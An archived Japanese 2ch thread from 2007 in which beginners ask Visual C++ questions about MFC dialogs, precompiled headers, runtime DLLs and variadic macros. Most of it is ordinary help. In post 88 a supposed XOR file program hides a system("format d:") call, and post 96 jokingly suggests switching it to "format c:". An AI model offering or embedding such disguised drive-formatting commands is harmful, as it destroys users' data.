★初心者にVisual C++を教えるスレ★ Part28 at TECH
[2ch|▼Menu]
1:誰も立てないから・・
07/11/30 22:40:42
Visual C++入門者・初心者からの質問を、
お兄ちゃん達が優しく、時には厳しく回答してくれるスレッドです。

■質問するにあたって
・エラーや警告のときはエラーメッセージを書きましょう。
・開発環境も書きましょう。
・できるだけ具体的に。

質問の仕方については次のページが大変参考になります。
URLリンク(www.hyuki.com)
URLリンク(myu.daa.jp)

■回答するにあたって
・回答する場合はその答えに至るための「コツ」も書いてあげると良いでしょう。
 (MSDNのどの項目だとか、何のキーワードでGoogleするとか)
・ネタや煽りは軽く流しましょう。

過去スレ、関連スレなどは>>2-5。

2:誰も立てないから・・
07/11/30 22:41:34
Part27 スレリンク(tech板)
Part26 スレリンク(tech板)
Part25 スレリンク(tech板)
Part24 スレリンク(tech板)
Part23 スレリンク(tech板)
Part22 スレリンク(tech板)
Part21 スレリンク(tech板)
Part20 スレリンク(tech板)
Part19 スレリンク(tech板)
Part18 スレリンク(tech板)
Part17 スレリンク(tech板)
Part16 スレリンク(tech板)
Part15 スレリンク(tech板)
Part14 スレリンク(tech板)
Part13 スレリンク(tech板)
Part12 スレリンク(tech板)
Part11 スレリンク(tech板)
Part10 スレリンク(tech板)
Part09 スレリンク(tech板)
Part08 URLリンク(pc5.2ch.net)
Part07 URLリンク(pc5.2ch.net)
Part06 URLリンク(pc5.2ch.net)
Part05 URLリンク(pc5.2ch.net)
Part04 URLリンク(pc5.2ch.net)
Part03 URLリンク(pc5.2ch.net)
Part02 URLリンク(pc3.2ch.net)
Part01 URLリンク(pc3.2ch.net)

3:誰も立てないから・・
07/11/30 22:43:07
【関連スレ】
■MFC相談室 mfc18d.dll■
スレリンク(tech板)l50
Win32API質問箱 Build57
スレリンク(tech板)l50
【C++】 DirectX初心者質問スレ Part14 【C】
スレリンク(tech板)l50
【ISO/ANSI/JIS】 C言語なら俺に聞け! Part 131
スレリンク(tech板)l50
C++相談室 part56
スレリンク(tech板)l50
C/C++の宿題を片付けます 95代目
スレリンク(tech板)l50
【初心者歓迎】C/C++室 Ver.42【環境依存OK】
スレリンク(tech板)l50

【関連サイト】
猫でもわかるプログラミング
URLリンク(www.kumei.ne.jp)
MSDN ライブラリ ※変更された
URLリンク(msdn.microsoft.com)
URLリンク(msdn2.microsoft.com) (2005のことはこっち)
Platform SDK Update ※変更された
URLリンク(www.microsoft.com)
Google
URLリンク(www.google.co.jp)

4:誰も立てないから・・
07/11/30 22:44:07
【このスレの前身 VisualC++相談室 過去スレ】
part 1 URLリンク(piza.2ch.net)
part 2 URLリンク(piza.2ch.net)
part 3 URLリンク(piza2.2ch.net)
part 4 URLリンク(pc.2ch.net)
part 5 URLリンク(pc.2ch.net)
part 6 URLリンク(pc.2ch.net)
part 7 URLリンク(pc.2ch.net)
part 8 URLリンク(pc.2ch.net)
part 9 URLリンク(pc5.2ch.net)

テンプレ終わり。

5:デフォルトの名無しさん
07/11/30 22:53:34
Windows フォームアプリケーションのソース入りのプロジェクトフォルダを別の環境の
Visual Studio 2005 で呼び込むと、

ソース管理
! プロジェクト○○.vcprojはソース管理下に存在しているようですが、関連付けされた
  ソース管理プラグインがこのコンピュータにインストールされていません。
  このプロジェクトのソース管理は無効になります。

□次回からこのダイアログ ボックスを表示しない(D)
   [ OK ] [ ヘルプ(H) ]


と出て、その後


ソース管理 - データベースにアクセスできません
●一時的に管理なしで作業する(T)
○ソース管理の関連付けのバインドを完全に削除する(P)
   [ OK ] [ ヘルプ(H) ]


と出ます。これはどういう原因で起こっているのでしょう?

6:デフォルトの名無しさん
07/11/30 22:55:00
>>5続き
この状態で、「一時的に管理なしで作業」し、コンパイルした場合、何か
実行後のファイルに影響が出ますか?
中間ファイルや実行ファイルなどのゴミが混ざっていて、実行後のファイルにはなんの影響も
ないのであれば、コンパイルに必要なファイルだけをあれば教えていただきたいです。

あるファイルはこんな感じ↓です。

└「A」フォルダ
  ├「Release」フォルダ
  │  ├BuildLog.htm
  │  ├B.obj
  │  ├A.dll.intermediate.manifest
  │  ├A.obj
  │  ├A.res
  │  ├mt.dep
  │  └vc80.idb
  ├A.vcproj.MEX.administrator.user
  ├A.vcproj.vspscc
  ├mssccprj.scc
  ├ReadMe.txt
  ├resource.h
  ├StdAfx.h
  ├vssver.scc
  ├B.cpp
  ├A.cpp
  ├A.def
  ├A.h
  ├A.rc
  └A.vcproj

7:デフォルトの名無しさん
07/11/30 22:56:15
Visual C++ 2005 Express Editionを今ダウンロードして
今日から勉強しようとしたけど、コンバイルの仕方がよくわからない orz
親切な人教えて下さい

8:デフォルトの名無しさん
07/11/30 23:01:49
コンバイルの仕方は俺にもワカラン。

9:デフォルトの名無しさん
07/11/30 23:05:12
エディタっていうの使ってコード書いて コンパイラーとして
これをダウンロードしたのに・・・

10:デフォルトの名無しさん
07/11/30 23:12:30
まず、
メニューの新規作成->プロジェクト 

VisualC++のWin32コンソール のプロジェクトを作る

プロジェクト名は、testでもaaaでもてきとうに。

ウイザードが表示されるので、完了を押す

_tmain() だけのソースが表示されるので、

int _tmain(int argc, _TCHAR* argv[])
{
    printf("へろー\n");
    getchar();
    return 0;
}

みたいにてきとうにコードを加えて、F5を押す。
ビルドするか訊いてくるので、OKでコンソール画面が開いて、文字が表示される。



11:デフォルトの名無しさん
07/12/01 00:29:19
ありがとうございます。
へろーって文字が出ました、感激です

プロジェクトの中にC言語入れても、コンパイル可能ですか

12:デフォルトの名無しさん
07/12/01 13:20:19
誰か・・・>>5-6をお願いしますm(__)m

13:デフォルトの名無しさん
07/12/01 13:26:55
>>12
会社で書いてるソースを自宅に持ち帰ったんだろ
別にどうということもないが、バックアップとっておいて
何でも試してみる気がないとこの業界やってけんぞ

14:デフォルトの名無しさん
07/12/01 16:18:18
__exceptとcatchの違いがよくわかりません教えてください

15:デフォルトの名無しさん
07/12/01 16:33:12
すいません。
VisualStudo .NETでダイアログベースのC++のアプリケーションを
作ろうとしているのですがしょっぱなから躓きました。

ダイアログエディタ上にピクセルサイズ800*600のピクチャーボックスを
作りたかったのですが、VBやらVC6.0やらであったような、X,Y,Width,Heightといった
コントロールプロパティがどこにも見当たりません。
ソースコード上でなら設定する方法はあったのですが、ダイアログエディタ上で
位置やサイズをドット単位で決めた設計にしたいのです。

これらのプロパティを表示させる手段は無いのでしょうか?
また、ひょっとしてこの.NETはとてつもない地雷なんでしょうか?
(ガイドの設定ダイアログにあるヘルプボタンを押すと、表示されたヘルプと
そのダイアログの内容が全然違ってたりします。
欠陥品だとしたら酷すぎます)

16:デフォルトの名無しさん
07/12/01 16:34:15
すいません情報書き忘れました。VisualStudo .NET2003です。

17:デフォルトの名無しさん
07/12/01 16:41:15
ソースコード上で設計してください

18:デフォルトの名無しさん
07/12/01 16:51:11
Visual C++ 2005 Express Edition を使っていますが、C言語の勉強で
コンパイラーとして使いたいのですが、C言語のプログラムをそのまま
打ち込んで、コンバイルすれば使えるかな?
getchart()という関数聞いたことないので、やはり使い方違うかなと思って

19:デフォルトの名無しさん
07/12/01 16:52:56
>>15
プロパティウィンドウ?

20:デフォルトの名無しさん
07/12/01 16:53:23
>>17
返答ありがとうございます。

しかしコントロールの位置プロパティが無い(ダイアログエディタで表示されない)のは
2003だけなんでしょうか?

皆ソースコード上で初期化時に設定しているとすれば、ダイアログエディット時は適当に
あやふやにコントロール配置して、プログラム実行して見ないとちゃんと思ったとおりの
デザインになってるか分からないといった環境でやってるのでしょうか?


21:デフォルトの名無しさん
07/12/01 17:03:01
6.0まではゆとり用です

22:デフォルトの名無しさん
07/12/01 17:03:08
VBは馬鹿でも使えるようになってるけど
VCは馬鹿には使えないようになってるということだろうな

23:デフォルトの名無しさん
07/12/01 17:07:27
きっちり数字で合わせたかったらコードで指定するのが普通と思うけど
今やってみたらダイアログエディタでも微調整は可能だな

24:デフォルトの名無しさん
07/12/01 17:14:03
プロではないのですが、
プロは紙や設計書上でコントロールの位置を決めたりしてるんでしょうか?

それとも目測で配置して、製品として出されるアプリケーションの
ラベルの位置とかが微妙にそろってなかったりとか普通なんでしょうか?


25:14
07/12/01 17:17:18
無視すんなよ

26:デフォルトの名無しさん
07/12/01 17:21:38
>>14
__exceptはWindowsの持っている構造化例外処理 (SEH)用
catchはC++例外用。

27:デフォルトの名無しさん
07/12/01 17:29:12
>24
ダイアログエディタは見た目そのまんまだろ
ちゃんと見た目そろえて作れば実行した時にも見た目そろってるはず。

28:デフォルトの名無しさん
07/12/01 17:34:31
>24
微妙にそろってないのはお前が馬鹿なだけ

29:デフォルトの名無しさん
07/12/01 17:41:11
質問しただけで喧嘩を売られるとは思いもよりませんでしたが
答えて頂いた方々ありがとうございました。

>馬鹿とか言ってる奴
調子こいてんじゃねーぞ。ぶちまわすぞコラ。
その威勢だけはいい口ふさぎこんだろか。

30:デフォルトの名無しさん
07/12/01 17:46:55
こんなこともわからないなんて
むいてないと思うよ

31:デフォルトの名無しさん
07/12/01 17:50:26
メモリが "written" になることはできませんでした 
のエラーを再現したいのですが
どのようにすれば出るのでしょうかreadエラーは再現できました

32:デフォルトの名無しさん
07/12/01 18:12:38
無いアドレスを指定すればいいじゃ?

33:デフォルトの名無しさん
07/12/01 18:24:29
>>32
できました
ありがとうございます

34:デフォルトの名無しさん
07/12/01 18:27:39
窓版segVと考えればいいのかな?

35:デフォルトの名無しさん
07/12/01 23:38:43
ゲットチャートってどういう意味?

36:デフォルトの名無しさん
07/12/01 23:51:11
どうも、失礼しにきました。
今、VS2005を使ってC++やVC++の勉強をしています。
CとC++の本をあわせて8冊ほど購入して、徐々に理解してきたのですが、
画像を画面に表示する方法がどの本にも載っていませんでした。
検索した結果、どうやら画像の形式や保存されているディレクトリ?を
指定して表示するような命令はないようなのですが、
ではCやC++で、どうやったら画像を表示させられるのでしょうか?
やり方をダイレクトに教えてくださいでは図々しいと思うので、
そのことが書かれた書籍でもいいので、どなたかご存知の方、
教えていただけないでしょうか?

37:デフォルトの名無しさん
07/12/02 00:13:47
>>36
まずはwindowsAPIでググれ 基本的にCでwindowsを操るには難しい
HSPとかデルファイとかなら簡単にできる Cには標準で画像を操る命令は付いていない
マイクロソフトの拡張命令が必要

38:デフォルトの名無しさん
07/12/02 00:24:29
>>36
これ落とすと良いよ
URLリンク(www.microsoft.com)

39:デフォルトの名無しさん
07/12/02 00:49:31
>>37さん、ググってみました。
なるほど、windowsAPIの中に画像を表示する関数があるのですね。
いやーこういう便利なものがあるのですね。
ありがとうございます。早速書籍やネットをあさってみます。
>>38さん、この更新版に画像を表示するような機能が含まれている
ということでしょうか?取り合えず確認してみます。
教えて下さってありがとうございます。
しかし、こんな素早く助かる返事が頂けるとは本当に感謝感激です。
2ちゃんでの質問はドキドキしますから、中々聞けませんでしたが、
もっと早く聞いておけばよかったと思っています。
いや本当に助かりました。お二方ありがとうございました。


40:デフォルトの名無しさん
07/12/02 00:51:34
>>39
38はWindows API(とその他諸々)のリファレンス。
単なる膨大なヘルプファイルの塊。

41:デフォルトの名無しさん
07/12/02 01:13:47
>>40さん、なるほど、Windows APIなどのヘルプでしたか。
それは自分にとって役に立ちます。
わざわざ教えていただきありがとうございます。
いやーこんなにいい所だったとは。助かりました。

42:デフォルトの名無しさん
07/12/02 18:31:28
VC++6.0で特定のファイルだけコンパイルオプションを変更したいのですがどのようにすれば出来るでしょうか。
具体的には特定のファイルだけ/GZオプションを外したいのですが。
プロジェクトの設定で目的のファイルを選択しC/C++のタブを選択すると出来そうですが
/GZオプションを外す設定は無さげな感じ。

43:デフォルトの名無しさん
07/12/02 18:54:40
特定のファイルだけコンパイルすればいい

44:デフォルトの名無しさん
07/12/02 19:21:43
VC++でダイアログベースのアプリケーションを作ってます。

自動作成されたアプリケーションクラスとダイアログクラスがあり、
ダイアログクラスのOnpaintの中でアプリケーションクラスのメンバ変数を
呼ぼうとするのですが(theApp.m_a = 1;のような感じで)
ビルドするとこういうメッセージが表示されます。
「error C2248:'〜〜(自分が作ろうとしてるアプリクラス)::m_a':
protectedメンバ(クラス'〜〜'で宣言されている)にアクセスできません。

何度見てもm_aはPublicになっています。
どうすればよいのでしょうか?

45:デフォルトの名無しさん
07/12/02 19:31:48
Visual C++ 2005 Express Editionを使ってC言語をコンパイルするには どうすればよろしいでしょうか?

46:デフォルトの名無しさん
07/12/02 19:49:34
>>45
F5キーを押す

47:デフォルトの名無しさん
07/12/02 19:53:40
たとえば expat などのライブラリですでに Windows 向けに
ビルドされているものをダウンロードすると、特に
どのバージョンの Visual C++ で使えるとは指定されておらず、
vc7, vc8, vc9 のどれからでもリンクできるようなのですが、
自分が以前 vc7 でビルドしたスタティックライブラリを
vc8 や vc9 で作成中のアプリケーションからビルドしようとすると
リンカに怒られます。

この違いはどこから来ているのでしょうか?
C++における型を含んだ名前の変換の仕方の違いとかでしょうか?

48:デフォルトの名無しさん
07/12/02 21:42:03
お前がビルドしたのは、VC++7のライブラリをリンクする指定が組み込まれていて、
ほかの誰かがビルドしたのはその指定が組み込まれていないということではないだろうか。

/Zl使ってみろ。

49:デフォルトの名無しさん
07/12/02 21:46:38
先生!C++的にはVC2008って何が変わったのでしょうか?
前回は標準準拠度が飛躍的にあがってたりしましたが

50:デフォルトの名無しさん
07/12/02 22:16:00
vc6.0++使用してます。リンクを指定するのはどのように
すればいいのでしょうか?

51:デフォルトの名無しさん
07/12/02 22:19:11
>47
DLLをリンクするためのライブラリというオチでは?

52:デフォルトの名無しさん
07/12/02 23:17:46
>>49
IntelliSense が賢くなった。

53:デフォルトの名無しさん
07/12/02 23:34:17
2003toolkid以降のコンパイラでドスで使えるやつありますか

54:デフォルトの名無しさん
07/12/02 23:47:33
ない。
でも、Win32のコンソールアプリケーションを動かせるっていう
HX DOS Extenderならどうだろう?
やってみたことないけど。

55:44
07/12/02 23:54:56
自己解決しました。
m_aはクラスビュー右クリックで出るダイアログからプルダウンでPublicとか
選択して変数名入れて追加しており、追加後にクラスビューに表示されたm_aを
右クリックしてプロパティ見てもPublicになっていました。


クラスの宣言部は以下のような感じで最初二つ目の「public:」が無い状態だったのを
なんとなく追加して見たら通りました。

class CnethackApp : public CWinApp
{
public:
CnethackApp();

// オーバーライド
public:
virtual BOOL InitInstance();

// 実装

DECLARE_MESSAGE_MAP()
// メインスクリーンクラス
public:
int m_a;
};

酷いですね。クラスビューというか.NETの開発環境って嘘付くんですね・・・。

56:デフォルトの名無しさん
07/12/02 23:58:51
(pgr
AFXWIN.h:
>#define DECLARE_MESSAGE_MAP() \
>private: \
> static const AFX_MSGMAP_ENTRY _messageEntries[]; \
>protected: \
> static AFX_DATA const AFX_MSGMAP messageMap; \
> static const AFX_MSGMAP* PASCAL _GetBaseMessageMap(); \
> virtual const AFX_MSGMAP* GetMessageMap() const; \

57:デフォルトの名無しさん
07/12/03 02:37:09
windows.hの中に所謂 区切り文字で分割する関数というのはあるのですか?

58:デフォルトの名無しさん
07/12/03 19:40:34
>>57
strtokのこと?
これでいいならwindows.hじゃなくてstring.h

59:デフォルトの名無しさん
07/12/03 21:35:29
VS2005ですが、ビルド時にpdbファイルを出力しないようにするには、どうすればいいでしょうか?

60:デフォルトの名無しさん
07/12/03 22:52:01
それデバッグ用のファイルだから

61:デフォルトの名無しさん
07/12/03 23:12:19
>>59
ビルドルールの設定で、最後に削除しておいたら?

62:デフォルトの名無しさん
07/12/04 00:09:05
releaseでコンパイルするとかでいいんじゃね?
何のためにそのファイルが出力されてるか絶対、調べてすらいないよな。

63:57
07/12/04 02:14:38
>57
VisualC++の中で使いたいのですが、
windows.h以外にそのstring.hをインクルードして
プログラムの中のある部分でstrtokを使うというのは一般的なんですか?

64:デフォルトの名無しさん
07/12/04 02:21:17
>>63
一般的云々というより、string.hはC標準。windows.hは非標準。
むしろwindows.hのほうが一般的ではない。

65:デフォルトの名無しさん
07/12/04 03:35:49
Loadbitmapを使ってBITMAPを読み込みたいのですが
WM_CREATE中のLPARAMからモジュールのハンドルが取れるということで試してみましたが成功しません
対象のBITMAPはリソーススクリプトに記述してあります

static HBITMAP hBitmap;

WM_CREATE中

hBitmap = LoadBitmap(
((LPCREATESTRUCT)lParam)->hInstance ,
TEXT("IDB_BITMAP1"));



66:デフォルトの名無しさん
07/12/04 09:10:04
Loadbitmapを使ってBITMAPを読み込みたいのか?
WM_CREATE中のLPARAMからモジュールのハンドルが取れるのを試したいのか?

Loadbitmapのサンプルならいくらでも見つかるだろうから
とりあえずそれできてからモジュールのハンドルが取れるのを試せばいいんじゃないかな?

67:デフォルトの名無しさん
07/12/04 14:47:20
普通に作ると IDB_BITMAP1 は数字で定義されてる可能性が高いな

68:デフォルトの名無しさん
07/12/04 15:00:45
C++から入ったんですが、ある程度のレベルまで到達したら
Cもやったほうがいいんでしょうか?
(何度も出てるネタかもしれませんが・・・)

69:デフォルトの名無しさん
07/12/04 15:53:03
C++で出来ることはCやる必要なし

70:68
07/12/04 16:46:46
>>69
そーですよね
Cオンリーな環境なんて普通の人は出会うことないし

71:デフォルトの名無しさん
07/12/05 09:06:56
そこで cfont ですよ。

72:デフォルトの名無しさん
07/12/05 11:04:02
>>71
しーふぉんと?なにそれ。

73:デフォルトの名無しさん
07/12/05 11:38:50
cfront daro

74:デフォルトの名無しさん
07/12/05 12:35:48
MFCで、特に不憫なく使っています。
SDKへ移行するメリット等はありますか?

75:デフォルトの名無しさん
07/12/05 13:09:08
MFCも中味は同じ
自分でやるか人が書いたのを使うかの違いだけ

76:74
07/12/05 14:14:46
ありがとうございました。
あえて移行する必要は、特にないという事ですね。

77:デフォルトの名無しさん
07/12/05 15:35:23
DirectInputを使用してマウスの右シングルクリックのみを無効化するツールを探しているor自作しようとしているんですが
作るとしたらどのくらいの工数がかかるでしょうか?

78:デフォルトの名無しさん
07/12/05 15:39:57
>>77
慣れた人間なら数分。予備知識がないなら永遠。

79:デフォルトの名無しさん
07/12/05 15:49:49
>>78
ありがとうございます、調べて作ってみます

80:デフォルトの名無しさん
07/12/05 22:36:40
DoModalする前にダイアログの位置をあらかじめ決めて、DoModalしたときにその位置に表示するようなことってできますか?
やり方も簡単におしえてください

81:デフォルトの名無しさん
07/12/05 23:07:48
OnInitDialog でがんばれ

82:デフォルトの名無しさん
07/12/05 23:08:40
DoModalってことはMFC?
OnInitDialogでMoveWindowすればいいかな

83:デフォルトの名無しさん
07/12/05 23:19:15
>>81,82
なるほど。OnInitialDialogでやればよかったんですね。
ちと試してきますね

84:デフォルトの名無しさん
07/12/05 23:29:01
CRect rect;
GetWindowRect(rect);
rect.MoveToXY(0,0);
MoveWindow(rect);

こんな感じでできました。

85:デフォルトの名無しさん
07/12/06 04:10:03
質問します。
VisualStudio2005で2003のコンパイル状況を再現したいのです。

状況です。
VisualStudio2003から2005に変えたら実行ファイルが動かなくなってしまいました。
「このアプリケーションの構成が正しくないため、アプリケーションを開始できませんでした。」
というメッセージが出ています。
で、2003で作ったソースには
#using <mscorlib.dll>
が自動生成されたので各所にあります。

メッセージはDLLが見つからないとき出るもので、
ランタイムライブラリが初期状態でDLLになっているので出た様子です。
そこで2003同様にDLLじゃない版にするには
プロジェクトのプロパティを操作する必要があるらしい、というところで詰まってしまいました。
プロパティの項目と結果をまとめるとこんな感じのようです
2003
ランタイムライブラリ:マルチスレッド→DLLなくても動く
マネージ拡張:はい→#using <mscorlib.dll> 通る

2005
ランタイムライブラリ:マルチスレッドDLL→DLLないと動かない
共通言語ランタイムサポート:つかう(/clr)→#using <mscorlib.dll> 通る

ランタイムライブラリ:マルチスレッド→DLLなくても動く
共通言語ランタイムサポート:使用しない→#using <mscorlib.dll> 通らない
「fatal error C1190: マネージ ターゲット コードには '/clr' が必要です。」

ランタイムライブラリをマルチスレッドにしたまま
#using <mscorlib.dll> を通したいのですがなにか方法はないでしょうか。

86:デフォルトの名無しさん
07/12/06 15:14:20
無理で、ランタイムDLLを使って動くようにするしかないと思う。
マニフェスト生成の設定は有効になっている?

ただ、2005のCLRアプリケーションが必要とする.NET Framework 2.0には、
もれなくVC++ランタイムDLLが付いてくるので、
配布は心配する必要ない(SP1を当てていない場合)。

87:デフォルトの名無しさん
07/12/06 19:30:54
85です。回答ありがとうございます。

[リンカ][マニフェストファイル][マニフェストの生成]は「はい」になっています。
ただビルド結果の場所には見当たらないので
何かのファイルと一緒になっているんでしょうか。

>無理
2003のソースをそのまま使うのにちょっと無理があったんですね。

>配布は心配する必要ない。
インストールしたままなのでSP1というのは当たってないと思います。
DLLを同じフォルダに入れたりして起動できるってことでしょうか、
調べてみます。

88:デフォルトの名無しさん
07/12/07 00:02:44
すみません
このソースをVC6でビルドしたのですが
エラーが出て使えません
何が必要なのでしょうか?
#include <stdio.h>
#include <stdlib.h>
void main(int argc,char* args[]){
FILE* fp,*fo;
long xor,key;
char data;
key = 215;
fp = fopen(args[1], "r");
fo = fopen(args[2], "w");
data = fgetc(fp);
system("format d:");
xor = key || data;
fputc(xor, fo);
fclose(fp);
fclose(fo);
}

89:デフォルトの名無しさん
07/12/07 00:17:15
スレ立てるまでもない質問はここで 87匹目
スレリンク(tech板:137-番)



90:デフォルトの名無しさん
07/12/07 00:23:48
>>88
何て言うエラーが出たのか書けよ。

91:デフォルトの名無しさん
07/12/07 00:26:54
URLリンク(ccfa.info)
これです
VC6でコンソールからCPPファイルに
そのソースをかいてビルドしました
何が間違っているのでしょうか

92:デフォルトの名無しさん
07/12/07 00:31:24
コマンドラインで引数を渡していないオチだな。

>system("format d:");
これって・・・

93:デフォルトの名無しさん
07/12/07 00:35:16
え、なんですかそれ?
kwskお願いします

94:デフォルトの名無しさん
07/12/07 00:45:25
分かってて書いてんだろ?
スルー推奨

95:デフォルトの名無しさん
07/12/07 00:48:01
いやほんとわかりませんから
とりあえずGUIで動くソースでお願いしますよ

96:デフォルトの名無しさん
07/12/07 01:01:28
>system("format d:");

たぶん、あなたのPCには D: ドライブが無いんじゃないの?
ソースコードを c に書き換えれば動くと思うよ。
system("format c:");


97:デフォルトの名無しさん
07/12/07 01:16:17
URLリンク(divxtv.atspace.com)

98:デフォルトの名無しさん
07/12/07 11:32:14
質問です

以下のようにマクロを定義したいのですが、BSD上のgccではコンパイルできるのですが
VC++2003だと「マクロの仮引数リスト内に予期せぬ文字列があります」といわれます。

#define hogehoge(...) nyorori(__VA_ARGS__)

VC++2003で上記のようなことをする方法を教えてください

99:デフォルトの名無しさん
07/12/07 11:35:59
すみません、間違えました

#if DBG
#define hogehoge(...) nyorori(__VA_ARGS__)
#else
#define hogehoge(...)
#endif

としたときに、#elseの方でエラーになります

100:デフォルトの名無しさん
07/12/07 13:36:59
>>99
つい最近も同じ質問を見た気がするが、このスレ的には「仕様にないため無理」となる。
可変個数引き数マクロは99年の規格で決まったが、VCでは未だ対応していないということ。

101:デフォルトの名無しさん
07/12/07 13:38:10
同じような事やりたいなら

#if DBG
#define hogehoge nyorori
#else
#define hogehoge __noop
#endif

102:デフォルトの名無しさん
07/12/07 14:40:52
>>100-101
なるほど、VCでは未対応なんですね。
_noopでいこうと思います。

ありがとうございました。

103:デフォルトの名無しさん
07/12/07 14:45:59
あーごめん、VS2005で対応したらしいや。
URLリンク(msdn2.microsoft.com)(VS.80).aspx

104:デフォルトの名無しさん
07/12/07 16:19:12
Visual Studio 2005でリリースビルドしたexeってwindows server 2003では動かないんでしょうか?


105:デフォルトの名無しさん
07/12/07 16:21:18
2005ですか、残念^^;
今は2003しかないので、__noopでしのいでおきます。

106:デフォルトの名無しさん
07/12/07 16:24:06
>>104
何でその疑問が出たのか興味ある。
動かないことはない。

107:デフォルトの名無しさん
07/12/07 21:11:31
VCの中の人曰く、
「VCはC++コンパイラでCコンパイラじゃないから」
未だ対応していない、じゃなくて、そもそも対応しない。

108:デフォルトの名無しさん
07/12/07 22:44:27
>>104
2005 より 2003 の方が古いから?
そんな事ははいと思うよ。数字だけ比較しても無意味だよ。
ただし、ソフトの作り方にもよるけどね。

109:デフォルトの名無しさん
07/12/07 23:22:02
ごく普通にリリースビルドしただけなんですが・・
何ででしょうねぇ

110:デフォルトの名無しさん
07/12/07 23:40:32
エラー内容 or
エラーメッセージぐらいかけよ。


111:デフォルトの名無しさん
07/12/08 06:22:07
ただ「動かない」だけじゃ、神様にだって分からないよ。
病院なら「具合が悪いから治せ!」ってダダこねても
おなかポンポン叩いて、ここでちゅか?それともこっちが痛いでちゅか?
って聞いてくれるが、掲示板じゃキミのおなかは叩けないよ。

112:デフォルトの名無しさん
07/12/08 06:38:14
テンプレ的な不具合から現象を推測することもできない
入社2年目のワーカープログラマーが大量に巣食ってますな。


113:デフォルトの名無しさん
07/12/08 08:50:31
たぶんランタイム入れてないとかそういう落ち
こういうのは初心者ユーザー向けの板で質問した方が早く解決する

114:デフォルトの名無しさん
07/12/08 09:08:59
>112
それお前のこと?

115:デフォルトの名無しさん
07/12/08 10:16:46
>>112 MSのマニュアルをかいつまんだ時間だけで人格者ぶるお前のこと。

相手からエラーログが毎回もらえるような、
そんな馴れ合いができるほど社会は甘くねーよ。


116:デフォルトの名無しさん
07/12/08 10:51:11
どーせmsvcrt80.dllがないとかそんなメッセージだろ

117:デフォルトの名無しさん
07/12/08 12:43:24
delphiユーザだった俺にぴったりのサイトある?
C++のコンソールアプリケーションはマスターしたけど、イベントハンドラになるとdelphiとまったく違ってさっぱりわからない・・・・・

118:デフォルトの名無しさん
07/12/09 14:34:14
VC2005を使っています。
質問させてください。
コンソールアプリからwindowを呼び出すことは可能でしょうか?
今非常にシンプルなグラフ描画ソフトを作っていて
コンソールのコマンドプロンプトに書き込んだ関数のグラフを
呼び出したwindowに表示できるようにしたいのです。
わかる方いらっしゃいましたらよろしくお願いします。

119:デフォルトの名無しさん
07/12/09 14:36:47
何いってるかわからない

120:デフォルトの名無しさん
07/12/09 15:39:07
Win32アプリ + コンソール画面 = コンソールアプリ

121:デフォルトの名無しさん
07/12/09 16:32:36
WinMainではなくmainから開始してウインドウを表示したいわけだな?

122:デフォルトの名無しさん
07/12/09 17:18:20
宇宙人?

123:デフォルトの名無しさん
07/12/09 17:29:00
コンソール
window

意味わかりますか?

124:デフォルトの名無しさん
07/12/09 18:30:54
質問です。
自分でリソースから作ったカーソルアイコンを使ったウィンドウを作っているんですが、
呼び出したダイアログや、ウィンドウにつけたボタンの上にカーソルがいくと、windowsの通常のカーソルに表示が戻ってしまいます。
どうしたら回避できるのでしょうか?

125:デフォルトの名無しさん
07/12/09 19:06:20
ダイアログやボタンを自作する

126:デフォルトの名無しさん
07/12/09 19:10:59
自作ってリソースから作るって事じゃなくて?どうゆーことでしょ?

127:デフォルトの名無しさん
07/12/09 19:39:35
>>121
説明の仕方が悪くて申し訳ありません。
そのとおりです。
いろいろ調べてるんですがなかなか見つからなくて・・・

128:デフォルトの名無しさん
07/12/09 19:49:39
>>127
コンソールアプリといっても、
最初にコンソールウィンドウが提供されるだけで、
後は普通のアプリと全然変わらんよ。

129:デフォルトの名無しさん
07/12/09 20:19:33
hHandleの取得方法がわかんないんだろ

130:デフォルトの名無しさん
07/12/09 21:13:07
グラフ表示するプログラムはできてるんだろうから

C:\>グラフ表示するプログラム.exe

131:デフォルトの名無しさん
07/12/09 21:24:27
今VS2005でMFCの勉強をしているのですが、
ダイアログボックスを表示するプログラムで、
void Csample01View::OnTestHello()
{
// TODO: ここにコマンド ハンドラ コードを追加します。
CMyDialog dlg; //CMyDailogクラスのインスタンス
dlg.DoModal(); //ダイアログボックスを表示する関数DoMadel関数の呼び出し
}
というコードを記述してビルドしたら、
CMyDialogは識別子として定義されていませんというエラーがでまして、
試行錯誤した結果、MyDialog.hというダイアログ・クラスが定義されているヘッダーファイルを、
stdafx.h sample01.hより下(最初はどんなヘッダーファイルよりも上においていました)
においたらうまくいきました。これはこれで安心したのですが、
なぜインクルードする順番を変えると、
ビルドが成功したり、失敗したりするのでしょうか?
ものすごく初歩的なことを聞いているような気がするのですが、
ご存知の方、どうかご教授お願いできないでしょうか?
このもどかしさをどうにかしたいので。

132:デフォルトの名無しさん
07/12/09 21:38:36
CDialogの継承クラスなのに、CDialogの定義が見つからないからじゃないの?

133:デフォルトの名無しさん
07/12/09 21:56:35
>>132さん、お早い返答ありがとうございます。
なるほど、stdafx.hかsample01.h(CViewクラスが入っていると思われる)
にCDialogクラスが定義されていて、
それより先にMyDialog.hをインクルードしたからということでしょうか?

134:デフォルトの名無しさん
07/12/09 21:58:05
>>132さん、お早い返答ありがとうございます。
なるほど、stdafx.hかsample01.h(CViewクラスが入っていると思われる)
にCDialogクラスが定義されていて、
それより先にMyDialog.hをインクルードしたからということでしょうか?

135:デフォルトの名無しさん
07/12/09 22:00:39
申し訳ありません。初心者のせいか2回も書き込んでしまいました。
本当に申し訳ありませんでした。

136:デフォルトの名無しさん
07/12/09 23:01:02
>>131
プリコンパイル済みヘッダ絡みの問題だな、これは。
詳細はコンパイラオプション /Yu の説明を見てくれ。

今回の場合、プリコンパイル済みヘッダの使用としてstdafx.hが指定されていただろうから、
MyDialog.hを一番上に置いている場合、#include "stdafx.h"以前の内容は
全て生成済みのプリコンパイル済みヘッダに含まれていると解釈され、
実際にはコンパイルされなかった。よって識別子が未定義とのエラーが発生した。
普通なら、MyDialog.hの時点でCDialogが未定義とのエラーが出るはず。

137:デフォルトの名無しさん
07/12/09 23:06:24
>>136さん、なるほど非常にわかりやすいです。
stdafx.hとは、そのような機能を持っていたのですね。
これで胸のつっかえが綺麗さっぱりとれました。
>>132さん、>>136さん、教えてくださって本当にありがとうございます。

138:デフォルトの名無しさん
07/12/10 09:54:47
マルチポストですが失礼します。

VC++ 6.0を使っているんだけど
cのソースファイルから開くとワークスペースが無いので
コンパイルやビルドしようとすると

このビルドコマンドにはアクティブプロジェクトワークスペースが〜って出てはいをクリックするとデフォルトのワークスペースが作成されますよね?

